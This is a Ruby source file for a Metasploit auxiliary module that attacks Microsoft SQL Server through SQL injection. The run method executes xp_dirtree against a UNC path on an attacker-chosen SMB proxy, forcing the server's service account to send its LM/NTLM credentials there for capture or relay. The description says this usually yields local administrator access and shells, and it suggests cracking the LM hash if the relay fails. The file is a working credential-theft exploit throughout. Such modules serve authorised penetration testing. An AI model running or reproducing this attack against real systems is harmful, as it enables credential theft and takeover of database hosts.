68 lines
2.4 KiB
Ruby
68 lines
2.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::MSSQL_SQLI
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SQL Server NTLM Stealer - SQLi',
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'Description' => %q{
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This module can be used to help capture or relay the LM/NTLM credentials of the
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account running the remote SQL Server service. The module will use the SQL
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injection from GET_PATH to connect to the target SQL Server instance and execute
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the native "xp_dirtree" or stored procedure. The stored procedures will then
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force the service account to authenticate to the system defined in the SMBProxy
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option. In order for the attack to be successful, the SMB capture or relay module
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must be running on the system defined as the SMBProxy. The database account used to
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connect to the database should only require the "PUBLIC" role to execute.
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Successful execution of this attack usually results in local administrative access
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to the Windows system. Specifically, this works great for relaying credentials
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between two SQL Servers using a shared service account to get shells. However, if
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the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
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and john the ripper.
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},
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'Author' =>
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[
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'nullbind <scott.sutherland[at]netspi.com>',
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'Antti <antti.rantasaari[at]netspi.com>'
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],
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'License' => MSF_LICENSE,
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'References' => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]]
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))
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register_options(
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[
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OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
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], self.class)
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end
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def run
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# Reminder
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print_status("DONT FORGET to run a SMB capture or relay module!")
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# Generate random file name
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rand_filename = Rex::Text.rand_text_alpha(8, bad='')
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# Setup query - double escaping backslashes
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sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
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print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")
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# Execute query to force authentation from backend database to smbproxy
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mssql_query(sql)
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end
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end
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